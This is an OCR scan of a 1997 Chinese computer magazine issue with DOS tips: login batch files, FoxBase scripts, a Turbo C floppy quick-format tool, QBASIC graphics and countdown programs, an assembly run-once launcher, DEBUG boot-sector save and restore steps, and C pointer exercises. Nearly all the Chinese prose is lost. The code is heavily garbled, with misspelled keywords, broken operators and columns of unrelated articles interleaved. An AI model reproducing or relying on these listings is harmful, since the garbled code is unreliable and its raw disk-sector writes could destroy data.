OTYPE AUTOEXEC.BAT
ipx

netx

f:

login

call up .bat

tx

cd \home\dbf

call fox setup

logout

.30.

(]
eycle
login
cd \HOME\DBF
call fox setup
logout
goto cycle
®
WRITE"Good %GREETING-TIME , %LOGIN-NAME.”
MAP DISPLAY OFF
MAP *1:=SYS:;*1 =SYSHOME\%LOGIN-NAME
MAP S1: =SYS:PUBLIC
MAP S2: =SYS:
MAP S3:=C:\
MAP S4: =SYS:UCDOS
MAP S5: =SYS:DOS
AMP S6: =C:\CCED
MAP INS S16: =SYS:FOX
MAP
COMSPEC =S3 COMMAND.COM
#DELTREE /Y SYS HOME\DBF\CODEL.TXT ¢
#CAPTURE

® Usertest .prg
PUBL G_USER,g.right
DO CASE

CASE .NOT .FILE('CODE1.TXT")
ICOPY CODE- TXT CODEl- TXT
G-USER = 'USER1’

CASE .NOT. FILE('CODE2- TXT')
!COPY CODE- TXT CODE2- TXT
G-USER = 'USER?2’

CASE .NOT. FILE('CODE3- TXT")
ICOPY CODE- TXT CODE3- TXT
G-USER = 'USER3’

CASE .NOT. FILE('CODES8: TXT')
QUIT

ENDCASE

(@) Check .prg
SELE 1

USE &G-USER

GO MAIN-S2

ZDM = field (MAIN-S1)

IF left (&ZDM ,1) ='0’

DO MESSAGER WITH' 13
gright ='0’

retu

else

gright ='1'

endif
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DOS
D
/Q
DOS
DOS (BOOT)
(FAT) (RO
(DATA)
360K 2 7
1.2M 7 14
1.44M 9 14
FAT
)
FAT
FAT
F6H
DOS

Computer Fan 1997 .3.

0S
FORMAT

oT)

112
224
224

708
2371
2847

FAT

FAT

FAT

B
i
)
R
i
15
&4
48,

FAT
FAT
(
)
FAT
DOS “ "
O
DEBUG
A
L 10000X X
(FAT * 2+
+1) 360K C(12) 1.2M 1D(29)
1.44M 21(33)
A W 10000 X DE-
BUG DIR A A
PCTOOLS
TURBO C+ +1.0
FAT
( )
//
#include <stdio.h >
#include < conio.h >
.31,



COMS 3.6V

CMOS Battery Testing — Failed

Press F1 continue or CTRL, ALT and ESC for

SETUP
CTRL ALT ESC(

Del) CMOS SETUP

CMOS

i
i
b

COMS

CMOS

AST COMPAQ

CMOS

1.2 )

1.5

#include <dos.h >

union REGS r;

char devnum ;

unsigned int i;

unsigned char buff[512],allsec,fat,root,id;

void main (int argc,char * % argv)

{if(argc! =2)

goto error;

devnum = argv[1]1[0] | 0x20

if ((devnum ! =’a’) & & (devnum ! = 'b")){

error:

printf(”\n \7FORMAT drive: (drive: A: or B:)");
exit (0);}

start :

printf ("\nInsert diskette for drive %c:”,devnum);
printf(”\nand strike ENTER when ready”) ;
devnum = (devnum & Oxf) — 1

r.h.ah =0;

int861(0x 16, &r, &r);

if (r.h.al! =0xd)exit(0);

r.h.ah =0x36;

r.h.dl =devnum + 1; //
int86(0x21, &r, &r);

if (absread (devnum , 1, 1,buff) = =1){ //

printf(”\n \7read Disk error”);
exit (0) ; Jelse

printf(”\nﬂead Disk ID OK!");
printf ("[ %02X 1", buff[0]) ;

.32,

id = buff[0];

if (buff[0] = = Oxfd){

fat =2;root =7;

printf ("\nThis is a 360K B Disk”) ; Jelse

if (buff[0] = = 0xf9) {

fat = 7;root = 14;

printf(”\nT his is a 1.2M B Disk”) ; Jelse
if (buff[0] = = 0xf0) {

fat =9;root = 14;

printf(”\nT his is a 1.44M B Disk”) ; Jelse{
Printf ("not Found disk ID data”) ;

exit (0) ;) //

allsec = (fat % 2) + root — 1; //

buff[0] = id;buff[1] = Oxff;buff[2] = Oxff;//

for (i=3;i<512;i+ + )buff[i] =0;
abswrite(devnum ,1,1,buff); // FAT
buff[0] = 0;buff[1] = 0;buff[2] = 0;
for(i=0;i<allsec;i+ +) // FAT
abswrite(devnum , 1,1+ 2,buff) ;

printf ("\nFormat another (Y /N)?");
r.h.ah=0 //
int86(0x16, &r, &r);

if(r.h.ah! =0x15)exit (0);else

devnum = (devnum | 0x40) + 1;

goto start;

}
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Y

Turbo BASIC

QBASIC
EXE
DOS
( Uc-
D0S5.0 uc-
D0S3.1 RDPS
RDSL)
% UCDOS

cEs .

cd\ucdos

=y RD16
KNL
y:-a RDPS
TX
-
T EL

X (
1996 12 3
HA )
> ==HUIGUTI19. BAS /BY
A=

PQJ at Home On 1996.12.3 = =
SCREEN 12: CLS

-

‘p f = 0: N2 = 0: DAY = O:
DITO6 = 0: HUIG $§ = "07 -
01-1997"

DATEN = VAL(MID $ (DATE
$.7,4) + MID $ (DATE $, 1,
2) + MID $ (DATE $, 4, 2))
- DATE97 = VAL(MID $ (DATE
$,1,2) + MID $ (DATE § , 4,
2))

IF DATEN < 19961204 THEN f
l T
19961204
IF DATEN > 19970701 THEN f = 2: ~°
19961203

IF DATE97 = 701 THEN f = 3
SELECT CASE f
CASE 1: CLS
PRINT STRING $ (20, CHR $ (7)): LOCATE 10, 17:
COLOR 12
PRINT ”

": END
CASE 2: CLS
PRINT STRING $ (20, CHR $ (7)): LOCATE 10, 17:
COLOR 12
PRINT” , 1997 7 1

R 1996 12 3

Computer Fan 1997 .3.

" END
CASE 3: CLS
PRINT CHR $ (14); "[{%1=2@055,045-10 |1 10(04) 01
1997 7 1 "
PRINT "—-13 1 13(04)01-12 | 12(10)01 1997 7
)
PRINT "@120, 120-10 | 80(15) 01 -13 183
(04)01 "
PRINT "@160,95-10 1 230(14)01 "
PRINT "-15 | 235(04)01 }1": END
END SELECT

LINE (0, 0) - (639, 479), 0, BF
FORi = 1TO 10
LINE (i, i) - (639 - i, 479 - i), 10, B
NEXT i
D1 = VAL(MID $ (DATE$,4,2)): M1 = VAL(MID
$ (DATE $, 1, 2))
D2 = VAL(MID $ (HUIG$,4,2)): M2 = VAL(MID
$ (HUIG $ , 1, 2))
FORi=1TO 6
READ DAYY (i)
DITO6 = DITO6 + DAYY (i)
NEXT i
MMI1 = M1
WHILE MM1 < M2
DAY = DAY + DAYY(MM1)
MM1 = MM1 + 1
WEND
DAYEULL = DAY
IFM1 > M2 THEN
DAY12 = 31 - D1 + 1
ELSE
IF D1 > 1 THEN
DAY12 = DAYY(M1) - D1 + 1
ELSE
IF D1 = 1 THEN
DAY12 = DAYFULL
END IF
END IF
END IF
IFM1 > M2 THEN
DAY = DITO6 + DAY12
ELSE
IF D1 = 1 THEN
DAY = DAYFULL
ELSE
DAY = DAY + DAYI12 - DAYY(M1)
END IF
END IF
DDAY $ = MID $ (STR $ (DAY), 1, 4)
PRINT CHR $ (14); "[{%1=2@065,065- 10 | 10(15) 01

",
»

PRINT "-13 1 13(04)01 "
PRINT "@350,200- 00 | 100(14)01” + DDAY $ + " -
03 107(04)01” + DDAY § + " }1”

100s$ = INKEY $: IF s$ = " THEN 100
END
DATA 31,28,31,30,31,30, -1 @
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= hy == 0
e~
S\ X
]
UCDOS BASIC

“ ”

"=MOVE-YL2 BAS =
SCREEN 12:CLS:COLOR 1:P =3.1415926 # /180

FOR R=1TO 80%RND(1) 2

CIRCLE (639%RND (1), 90%*RND(1)), R, 15, 0, RND (1) *
190%P,1/4

NEXT R
FORI=0TO 8 !
LINE(I,I) - (639-1,479),14,B

NEXT I

FOR R=1TO 300 STEP.09 '

Y1=479%RND(1)

IF Y1>430 THEN

CIRCLE(639*%RND(1),Y1),R/7,10,0,RND (1) * 190% P,5

END IF

NEXT R

FOR I=330TO 100 TSEP -5

CIRCLE(170,1),70,15,,,1 ;!

PAINT (170,1),14,15 2!

FORK =1TO 1200:NEXT K :’

line(0,0) - (639,400) ,0,bf :’ (
’ )

FOR J=0TO 8 !

LINE(J,]) - (639-J,479),14,B

NEXT J

FORR=1TO 80%RND(1) STEP.8 :’

CIRCLE (639 % RND(1),90%RND(1)),R,15,0,RND (1) * 190% P, 1/4

NEXT R

NEXT I

CIRCLE(170,1),70,15,,,1

PAINT (170,1),14,15

FORI=0TO 8 :
LINE(I,1) - (639-1,479-1),14,B
NEXT I

FORR=1TO 80%RND(1) STEP.8 :
CIRCLE (639% RND(1),90%RND(1)),R,15,0,RND (1) % 190% P, 1/4

>

Nabads bR

e~

I3
¢

¢

10) ="w
LOCAWTE 5,39:PRINT " d

LOCAWTE 6,39:PRINT " /96.11.25"

COLRO 13

FORTI=2TO 9 2!

LOCATE 1+12,20:PRINT Z$ (1):

NEXT I:COLOR 4

LOCATE 13,20;PRINT Z $ (1) 2

LOCATE 22,20;PRINT Z $ (10):COLOR 10 :’

LOCATE 22,20;PRINT " "

LOCATE 6,39;PRINT " /96.11.25"

GOSUB 300 !

END

300

PRINT CHR $ (14);

PRINT"[{ = 2%a40,40(15)01 - 170 | 120 "

PRINT "(4)01-172 1 122 K

PLAY "MB ML T 120"

FORN=1TO 3

KKK $ =INKEY $ :IF KKK § =CHR $ (27) THEN END

PLAY "MB ML T120 03A16B16 04 C4 P8 D16C16 03B2

A4.G16F 16E408D 16C 16"

PLAY "D401;6D16C 16D 1604E8C803 B1604C8,03B16A 8. A404.

A16B1604C4C16E8.D2M S”

PLAY "P8D4.MLO03 A 1604D 16C408 03M SG 16G 16 MLA4P8

G 16A 16B8A 8G 16B8. A 2A 40804C 16D 16"

PLAY "E4E8,C 16E8D4D 16E 1603A 4.G 8E 40803C 16D 16E 4.

C8D40803A 8"

PLAY "04ESDSP8 03A 8 04 D8C8C4 P2 03A 16E 16A 16B 1604

C8D 16E 1603A 4G 4E2"

PLAY "03A 16E 16A 16B 1604C 8D 16E 1603A 4G 404C 803A 8A 2A 4"

PLAY "03A 16E 16A 16B1604C 8D 16E 1603A 4G 4E2"

PLAY "03A 16E 16A 16B1604C8D 16E 1603A 4G 404C803A 8A 244
P1P1"

NEXT N

RETURN ©
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=io[x]

B % w5
®  Dme/'Tins Dispies Fen HP Scarlei
D @A DD
Irdermne: oyslick Fegbone Mal arc Fan Mip'.:'.‘:‘:ﬁl.l-.l “adan: Hoes
TR
Mmeci ule T Fasamonck: Fosei Prirters Fegomal
=
i Ch =
WINDOWS INI
Autoexec.bat
C
DATE .DAT
DATE .DAT
COM
DOS
RUNPRG
RUNPRG .BAT
COM AUTOEXEC.BAT
RUNPRG
RUNPRG
INT 16H
TASM 2.0
TASM 2.0

CODE SEGMENT

ASSUME CS:CODE;DS:CODE
ORG 100H

BE:JMP BEGIN

DATEIl DW O ;

Computer Fan 1997 .3.

DATEI2 DW 0

DATEI3 DB 0

DATE21 DW 0 :
DATE22DW 0

DATE23 DB 0

FNAME DB DATE.DAT’,0
HAD DW 0

MSG! DB 'RUN- - —-OK!!!$"°
MSG2 DB 'NO- - —RUN!!!1§"°
COMS DB "RUNPRG’,0
BEGIN :

MOV AH,2AH

INT 21H ;

MOV DATEI1L,CX :

MOV DATE12,DX

MOV DATE13,AL

MOV DX,0FFSET FNAME
MOV AH,3DH

MOV AL,2

INT 21H ;

JC RUNPRG ;

MOV HAD,AX

MOV BX,HAD

MOV CX,5

MOV DX ,0FFSET DATE2I
MOV AH,3FH

INT 21H

MOV AH.3EH

MOV BX,HAD

INT 21H ;

PUSH CS

PUSH CS

POP DS

POP ES

MOV SI,OFFSET DATE11
MOV DI,OFFSET DATE2I
MOV CX,5

CLD

REP ;

CMPSB

JZ NORUN ;

RUNPRG :

MOV DX,0FFSET FNAME
MOV AH,3CH

MOV CX,0

INT 21H

i HEE]= I
N1T—IKT35
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X

Word6.0

0 BIOS
INT 10H
INT 10H 09H
CTEXT ()

BORLAND C+ +3.1
UucboOsS 5.0

#include < dos.h >

O

ctext (int x ,int y,char cl],int color[1]);
main ()

{

int icolor[16]={1,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};

ctext (10, 12,”
*/

return 0;

}

ctext (int x ,int y,char c[],int color[])

{

int i;

union REGS in,out;

for(i=0;clil!="\0";i+ +)

in.h.ah =0x02;/%*
in.h.dh =x;
in.h.dl=y+i;
in.h.bh=0;
int86(0x 10, &in, &out ) ;
in.h.ah =0x09; /%
in.h.al=clil;

in.h.bh =0;
in.h.bl =colorlil;
in.h.ch=0;
in.h.cl=1;

int86(0x10, &in, &out) ;
}
}

" jcolor); /%

©

AN S S S S S S L S S T S LS S S S S S S S S S L S LS S S S S S S S S S S S S S S s S

MOV HAD,AX
MOV BX,HAD

MOV CX,5

MOV DX,0FFSET DATEII

MOV AH,40H

INT 210

MOV AH,3EH

MOV BX,HAD

INT 21H

MOV AH,9

MOV DX,0FFSET MSG1

INT 210 ;

MOV SI,OFFSET COMS
LOP1:

LODSB

CMP AL.0

JZ ENDD

MOV AH.5

MOV CH,0

.36.

MOV CL, AL
INT 16H
JMP LOPI
ENDD:
MOV AH,5
MOV CH,1CH
MOV CL, ODH
INT 16H
MOV AX,4CO00H
INT 21IH ;AL 00
NORUN :
MOV AH.9
MOV DX,0FFSET MSG2
INT 21H
MOV AX,4C01H
INT 21H ;AL 01
CODE ENDS
END BE

©
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\ | —— ]
X 3pS MFlEDX
l ——
L]
3DS Windows 3DS 3D Editer ( )
3DS rander view ( )/ setup...( )/ back-
UCDOS3.1 ground ( ) VCIM G000.BM P F1
2D Shaper ( ) View ( )
TX.EXE See background ( ) “ "
UCDOS CCED
“ ” Create/Line ( / )
(E) 40
11 Ctrl - 2D CCED
Break , Ctrl = Prtser, UCDOS
“ ? Window s
PCX BMP BMP
UucCbhosS Windows 2D Shaper
U-
VCIMG000.PCX, 486DX2/66
BMP UCDOS3.1 CCED5.03 Win-
3DS  MAPS dows3.1 3DS4.0 @
[
3 C>ECHO $ >T2COM .001
coM ECHO
DOS T2COMC.001
DOS 09H “%T
WPS
DOS T2COM .000 “ ?
1 COPY CON T2COM .000
C>COPY CON T2COM .000
E100 B40OF CD 10 B4 00 CD 10 “ g
E108 BA 11 01 B4 09 CD 21 CD 20
RCX
11 COPY
NT2COM .000
W (
Q README.TXT)
zC ) C> COPY T2COM.000 + README.TXT +
2 C>TYPE T2COM .000 | DEBUG T2COM .001 README .COM
TYPE DE-

BUG T2COM .000

Computer Fan 1997 .3.

README.COM
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X

Windows
“ " C \UCDOS\Winwb.txt

# & 1 ¥ X Windows C
ot f2EZRGHRANGE . “ "

0

Win32 " “ M “
Windows “ ” “ " winwb.mb
» )
Win-
dows (
/ ) hz[60]
/ Windows hz[100]  change.c
/ #include "stdio.h”
main ()
[ FILE *fpl, %fp2, %fp3; /% fpl,*fp2, *fp3
x/
ucdos5.0 int flag=1,i=0,j=0,m,n;
Window s char ¢ =1,filename[ 10],lettle[6 ],hz[60]
if((fpl:fopcn(”wbt.txl",”r")) ==NULL)
{ Printf ("cannot find file:wbt.txt! \n"); exit(0);}
ucdos fp2 = fopen ("wb1,txt”,"W + ") ;
ucdos While (! feof(fpl)) / *
imdmng wbh.imd wbt.txt ( ) wbt . txt Whl.ixt */°

{ c:gelc(fpl);

WPS bt. txt
whte X if((e>="a’& & (c<'2") flag=1
else if (cl=" ')flag =0
wbht .txt if((c=="")& & (flag = = 1) continue;
fputc(c,pr); }
rewind (fp2) ;
Win- fp3 =fopen("winwb.txt",”w +"); /*
whl.txt winb.txt * /
dows Turbo ¢ 2.0 c=1:
while (!feof (fp2))
.EXE wht . txt { e=gete(fp2);
if(¢!'="n")
) { f((e>="a")&&(c<'z")) (lettleli]l=c;i+ +;)
winwb.ixt else (hzljl=c;j+ +;) }
winwb.txt else
WPS Winwb . txt { lettlelil =c
hzljz]l="";
o for(n:o;n<:j;n+ +)
[description] { if(hz[n]!" ") fputc(hz[n],fp3);
name = else for (m=0;m< =i;m+ +) fputc(lettle[m] ,fp3); }
maxcodes = 4 i=0:=0: ) )
usedcodes = abedefghi jkimnopqrstuvwxy IR
. fclose(fpl);
wildchar = z
fclose(pr);
sort =0 . .
fclose(fp3);
[lxex]
| system ("del wh1.txt"); /> whl.txt */
}
2

©

winwb .txt Windows
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SALUARERRALAG) 1D

Turbo C2.0
(1)Chgb
2 Chgb /n
(3)Chgb /C

# include "string.h”
# include "stdio.h"”
main (int argc,char ‘)\‘argv[])
{ FILE *fpr, * fpw ;
long ire=0,irc=0,iwe=0,iwc =0;
unsigned char fc,fch,fem =03
int mr=0,mkl1=0,m=1;
if (arge > 2& & strchr (argv[2],7/7))
{if(strchr(argv[2] 2C) 1 strchr(argv[ﬂ ,’¢’))m =0;
}
else
if (arge> =3& & (strchr(argv[3],” N*) | | strchr(argv
[(3],’n)))m = - 1;
else if (argc > =3)m = 1;
else
{ printf("Usage: chqb In-File [Out-File] [/n/c]");
printf ("\n 1> /n or /N : ban —to —quan \n 2> No /n /c
: quan — to —ban”) ;
printf ("\n 3> /c or /C : Only count character , Must no
Out-File”) ;
exit (0) ;
}
if ((fpr = fopen (argv[1],")) = =NULL)
{prinlf("\nCan ’t Open In-File: %s",argv [1]);exit(0);}
if (m)if ((fpw = fopen (argv[2],"w”)) = =NULL)
{printf(”\nCan ’t Open Out-File: %S”,argv[ﬂ )sexit (0) ;)
while(!feof (fpr) | 1 mk1)
{
/% Read data segment * /
if(mk1==0)fc= fget(:(fpr) ;
else { fc=fem ;mk1=0;}
+ +mr;
if(mr==1)
{
if (fe > 160& &fe <255) { fch =fc; continue; }
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[

else + +ire;

}

else if (mr= =2)

{if(fc> 160& &fc<255) + +irc; else {mr=1; mkl=1;
+ +ire;fem =fe;fe=fch;} }

/% Translation segment * /

if('m){mr =0; continue;}

if(m!=-1) /% Quan —to—Ban* /

{if(mr= =2& &fch = = 163 & &fc<255& &fc > 160)
{fe=fc-128;mr=1; }}

else /% Ban —to - Quan * /
{if(mr==1& &fe< 127& &fe> 32) {fch =163; fc=fc+
128; mr=2;} }

/% Write data segment * /

if (mr==2)

{ fpulc(f(:h,fpw); fpul(:(fc,fpw); + +iwe; )

else if (mr= =1)

{ fputc(fe,fpw); + +iwe; }
mr=0;
}

fclose(fpr) ; if (m)fclose (fpw ):

" <TOT-Read-Char >
Two-Byte: %1d”,ire,irc) ;

if(m) printf(”\ n<TOT-Write-Char > One-Byte: %ld ,
Two-Byte: %ld !0K”,iwe,iwc) ;

printf One-Byte: %Id R

} ©
5“5 B HD - COPY # %) f24c 8"
- % i 4%
[]
1996 11 “ HD -COPY
“ DOS
CMOS 7
CMOS “
CMOS 7
CMOS CMOS
CMOS
CMOS ©
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X

170 IF I < 143 THEN LINE (341-1, 91) - (350-1,97)
180 1F I < 143 THEN LINE (341-1, 89) - (350-1,82)
o an ) — 190 IF 1 > 228 THEN LINE (341 -1, 91) - (350-1,97)
&’Q/z RY (BAS] G /I\'ZS/] (2] ) 200 1F 1 > 235 THEN LINE (3411, 89) - (350~ 1,82)
2101F I < 143 THEN LINE (340-1, 90) - (500 -1,90)
220 IF I > =143 THEN LINE (198, 90) - (500 -1,90)
] 230 IF T > 225 THEN LINE (340-1, 90) - (118,90)

240 LINE (508 -1,84) — (498 -1,90 )
250 LINE (498 -1,90 ) - (508 -1,95)

BASIC 260 COLOR 4
BASIC 2701F I > 86 AND I <147 THEN LINE (345-1, 89) - (350-1,82)
GWBASIC  QGBASIC 2801F I > =99 AND I <147 THEN LINE (345-1, 91) - (350-1,97)

290 IF I > 80 AND 1< 100 THEN LINE (142 +1, 89) - (150+1,82)
300 IF I > 97 AND 1< 108 THEN LINE (142 +1, 99) - (150+1,91)

10 screen 9

20 cls 310 COLOR 2
35 color 2, 2 3201F I < 99 THEN LINE (345-1, 91) - (350 =1,97)
< N L ) - -1,
30 circle (150, 80) , 35, 12, .5,3.8,
. 330 IF I < 89 THEN LINE (345-1, 89) (350-1,82)
40 circle (205, 80) , 35, 12, 5.76, 2.6, .7
340 IF 1 > 228 THEN LINE (345-1, 91) - (350-1,97)
50 COLOR 12
350 IF I > 235 THEN LINE (345-1, 89) - (350-1,82)

60 LINE (120,93) - (177,150)

70 LINE (178,150) - (235,93)

80 PAINT (150,80),12

90 CIRCLE(170,80), 35, 4, .5, 3.8,

100 CIRCLE (225,80), 35, 4, 5.76, 2.6, .7

110 COLOR 4

120 LINE (140,93) - (197,150) : LINE (198,150) - (255,93)
140 PAINT (170,80) , 4

150 FOR I=1TO 240

160 COLOR 14

DBT

360 LINE (540-1,90) - (548-1,84)
370 LINE (540-1,90) - (548-1,95)
380 NEXT

520D $ =INPUT $ (1)
530 CLS: COLOR 7, 0
540 SCREEN 0

DBT

o " T3 E?
" Rtk

DBF
DBF
83H M []
M 03H
DBT
03H (M #include <stdio.h >
) PCTOOLS main (int argc,char ‘kargv[])
{
PCTOOLS F10 FILE *fp;
E F3 if (arge < 2)
83 03 F5 PC- {printf("Usage: savedbf filename!\n") ;exit(1);}
TOOLS if ((fp = fopen(argv[1], b +")) == NULL)
{ printf("Cannot open input file. \n") sexit (1) ;}
fputc(0x03, fp);
SAVEDBF.C  Turbo C2.0 printf ("OK 1) ;
FOXBASE 2.1 felose(fp) ;

} ©

.40. W E AT 1997 3.



= bos

SUBST

Autoexec.bat

DOS
EE SU B-
= ST /d

ﬁ§ 0 DOS

Diskedit (Nortin8.0

2%, )

0000H - 00D9H
00DAH - 01BDH
0IBEH - 01CDH
01CEH - 01DDH
01DEH - O01IEDH
01EEH - 01FDH 4

w N =

0IFEH - 01FFH  55.AAH
IBEH 64
16 2
10 6
2
00H 1 80H
( ) 00H
01IH 1
02H 1 6 2
03H 1 8
04H 1 01H 12 FAT
DOS 04H 16 FAT

Computer Fan 1997 .3.

DOS 05H DOS
06H DOS
05H 1
06H 1 6 2
2
07H 1 8
08H 4
OCH 4
1.

Diskedit .exe

Diskedit .exe object Parti-
tion table ( ) 0 0 1
( 01BEH )
3
3

80 01 01 00 06 1F 3F 98 3F 00 00 00 A1 B4 04 00
00 00 01 99 05 1F BF OE EO B1 04 00 40 81 0B 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

80H
06H DOS C
05H
Dos
0OH
DOS ( )
0 99H =
153D 1
Diskedit Physical Sector 153
0 1 2
4( IBEH )
4

00010199 06 1F 7F C9 3F 000000 Al 61 09 00
0000 41 CA 05 1F BF OE EO 610900 60 1F 02 00
00 00 00 00 00 00 00 00 00 000000 00 00 00 00
00 00 00 00 00 00 00 00 00 000000 00 00 00 00

00H
06H DOS
D
05H
DOS
00H
D 153 0 1

.41.



&%ﬁﬁ-éﬁ o

TURBO C 25 INE (DX + 150,20+ DY) -STEP(220,100),1,BF
1996 9 30 COLORw 2,0
BASIC 35 LINE (DX +204,50+ DY) - STEP(120,40) ,4,BF
40 LOCATE 6,32,0
45 PRINT " "
50 LOCATE 7,32,0
55 PRINT" "
65K $ =INPUT § (4)
TURBO BASIC 72 1F K § < 3 5861" THEN CALL JZ ELSE GOTO 80
“ 5861 80 END
SUB JZ
FOR I=1TO 300

SOUND 650M ,10:SOUND 520,10
1 CLS

NEXT I

5DX:4OZDY :37 END gUB
10 SCREEN 12 TURBO BASICI.1 VGA
15 LINE (0,0) —-STEP (639,479),3,BF &
20 LINE (DX + 160,30+ DY) - STEP (220,100) ,0,BF

C

0IBEH
01CAH =458D 0 1 55AAH
Diskedit  Physical Sector 458 2.
0 1 ( 01BEH ) D C (0
5 0 1 ) ( IBEH )
5

00 0141 CA 06 1F BF OE 3F 00 00 0021 IF 0200
00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 06H O0H ( ) DOS
00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 E D
00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 D

C 06H

00H D C E
DOS D
00H
C D E
006H 00H DOS
( )
( ) ( )

©
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Y

AN S=E=
& A I 6EBD
X type TH

DOS TYPE #include < dos.h >
TYPE # define ROWNUM 1300
@TYPE @TYPE main (int argc,char *argv[])
{int Len[ROWNUM |,i,j,jnum ,k;
| MORE union kk
{char ¢[2];
int ik;}key;
char temp[256], * ROW[ROWNUM |;
FILE > fptext;
if (arge! = 2) {printf ("\n TY <file > \n") ;exit (0);}
if((fptcxt =f0pen(argv[l] ,t")) = =0)
{
clrser () ;
TYPE printf("\nfile: %s does not exist! \n”,argv[l]);
exit (0) ;
}
c TY .EXE i=0;
TYPE \»vblle(l)
{ if ((fgets (temp,256,fptext)) = =0)
{fclosc(fptext) ;break ; }
ASCII if(i= = (ROWNUM - 1))
UCDOS {
fclnse(fptexl);
printf("\n file: %s is too large! \n",al‘gv[l]);exit (0):}
Len[i] = countchar (temp) ;
i+ +;
PgUp PgDn )
Ctrl - Home Cirl - End fptext = fopen (argv[1],"");
, ESC j=0;
TY .EXE COPY DOS AU- while (1)
TOEXEC .BAT PATH=C \ DOS {ROW [j] =malloc(Len[j1);
TY .EXE if((fgels(RO\V [J] ,Len[j] + l,fptext)) = =0) break;
Jt+s
}
fc]ose(fplext);
clrser () ;
/*=====TY.C =====%/ gotoxy (1,1);
/* ==== t====%/ printf ("= = = = =file %s= == = = \n",argv[1]);
/% =TY [ ] =%/ gotoxy (1,24);
# include < stdio.h > printf("= = =PgUp:Up page,PgDn:Next page,
#include < alloc.h > Ctrl = Home:file top,Ctrl = END:file end = = = \n") ;
#include < string .h > prinlf(": ====ESC to Quit== = = =");
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C
C
CHKDSK/ F
DOS6.XX
Debug ( cC
C )

A:\>DEBUG
-N BOOT
-L 200201
-RCX
CX:0000
:0200
-W 200
writing 00200 bytes
-Q

FDISK

C
C !

A \>DEBUG

-N BOOT

-L 200

- A 100 D
XXXX:0100 MOV AX 0301
XXXX:0103 MOV BX 0200
XXXX:0106 MOV CX 0001
XXXX:0109 MOV AX 0180
XXXX:010C INT 13
XXXX:010E INT 21
XXXX:0110

-G =100

program terminated normally

-Q

SYS C

=~

58
IR
T R
¥ 4
#T 2K
5 P
X

Fdisk .EXE Debug.EXE SYS.COM

window (1,2,80,23);
jnum =j;
k=0;
fur(i:O;i<jnum& &i<21;i+ +)
{cputs (ROW [i]) ;
gotoxy (1,wherey());}
while(1)
{key .ik = getkey (

)s
if (key.c[0]!=27)/% === =ESC=== =%/

switch (key.c[1])

{case 81:/% = = = =Page Down= = = = %/

if(k +21> :jnum) continue;
k =k + 21;break ;

case 73:/% = = = =Page Up= === %/

if (k = = 0)continue;

k =k - 21;break;

case 119:/% = = = =Ctrl -Home= = = = %/
if (k = = 0)continue;

k =0;break ;

case 117:/% = = = =Ctrl - End = = = = %/

if (k + 21 > jnum ) continue;

while (k + 21 > jnum )k + =21;break;
}

else

{break ; }

clrser () ;

for(i=0;k +i<jnum & &i<21;i+ +)

.44.

{cputs(ROW [k +1i]);
gotoxy (1,wherey ());
}

}

window (1,1,80,25);
clrser () ;

for(i=0;i< =jnum ;i+ +)

free(ROW [i]);

exit (0) ;

}

/% === =getkey() = = = = %/

int getkey (

{union REGS r;

r.h.ah =0;
return(int86(0xl6, &r, &r));
}

/% = = = =countchar() = = = = %/
int countchar (char templ[])

{int ii,num =0;

for (ii = 0;ii < strlen(temp) i+ +)
num + = 1;

return(num);

}
TURBOC V2.0

AQ486/33

W, JIF

|

i)

COMP
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DOS 1 7 H 1l f :
i B Windows T 1% it ) & F

FoxBase + FoxPro for DOS

C

Windows

(Paintbrush)

Windows
DOS FoxBase + ForPro
for DOS C QBasic ?
FoxBase +

.PCX Windows

FoxBase + FoxPro for DOS,C,Q Basic

DOS UCDOS3.1
TX.COM FoxBase + for
DOS QBasic C UCDhOS
UCDOS3.1
Readme
DOS UCDOS3.1
TX.COM
(.PCX)( FoxBase + )
Windows
(.PCX)
Windows
Windows
(.PCX)
(.PCX) FoxBase + C
QBasic
DOS Windows
FoxBase +
1. UCDOS TX.COM
2. FoxBase +
J1.PRG

set prin to Ipt3

set devi to prin

@0,0 say chr(14) + '[m10 c¢10x3f cul,0]’

@0,0 say chr(14) + '[sa560,400,50,50,jj.pex $ 1’
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@0,0 say chr(14) + '[m3 cul, 1]’
set devi to scre

set prin to prn

UCDOS3.1
Readme
J1.PRG JJ.PCX
3. Windows
.PCX
(1)
(2)  Print screen
(3) FoxBase + JJ.PCX
(4) CTRL+V
JJ.PCX
(5) Windows
4. UCDOS TX.COM FoxBase +
J2.PRG

set prin to Ipt3
set devi to prin
@0,0 say chr(14) + '[re0,0,jj.pex $ 1’
set devi to scre

set prin to prn
m

wait
J2.PRG
Windows JJ.PCX
JJ.PCX QBa-
sic,C
Q Basic
screen 12
print chr $ (14) + "[re0,0,jj.pex $ 1”
C
main ()
{ printf("\16[re0,0,jj.pex $ 17); getch(); }
UCDOS TX.COM
FoxBase + Fox-
Pro for DOS 486
UCDOS3.1, Turbo C 2.0
QBasic FoxBase+2.1 FoxPro2.5for DOS Win-
dows3.1 ©
.45.









EEFTRXWNS

@ Yo
\O
% C
% d
ASCII
@
pl2] al3] P
al1] al1] plo] pl2]
al3]
2
int al113]1=1{1,2,3,4,5,6,7,8,9};
int *p[]={al0],al1],al2]};
int % Xpp=p;
maln()
{
int (*s)[3]=a,*q= &al0][0];
nt 1,j;

for(i=0;i<2;i+ +)
for(j=1;j<3;j+ +)
{
printf ("%d, %d, %d\n", * (alil +j), * (% (p+1i)

+j), (x (pp+i))[j1);
primf(”%d,%d\n", * (q+3*i+i), * (ks+3%
i+3));
}
}
a
p s q
3
a 3 s
a 0 q a
printf () * (alil +j), * (*

p+i) +j, (% (pp+i))[j1, * (q+3%i+j), % (*s+

C

.48.

3%i+j) a
) 222
22
333
33
555
55
666
6 6
3
main ()
{

static char *str = (char * )malloc(10) ;

" "stremp”, "string”} ;

static char *s[]={"strepy”,
*(s+1))>0)
strepy (str, *s);
else strepy (str, % (s+1));
if (stremp (% (s +2),str) >0)
strepy (str, % (s +2));
printf ("the largest string is: %s\n",str);

if (stremp (s,

str S
stremp ()
strepy ()
S
str if —
else
str str
string
4
main ()
{
static char * p[][3] = {"abc”,"def”, "ghijh”,Tmno”,
"parstuvw”, nyzu} ;

printf ("%c\n", % % %p);
printf ("%c\n", % (% (*x (p1) +2) + 1) +1);
printf ("%c\n", * (p[1]1[1] +4));

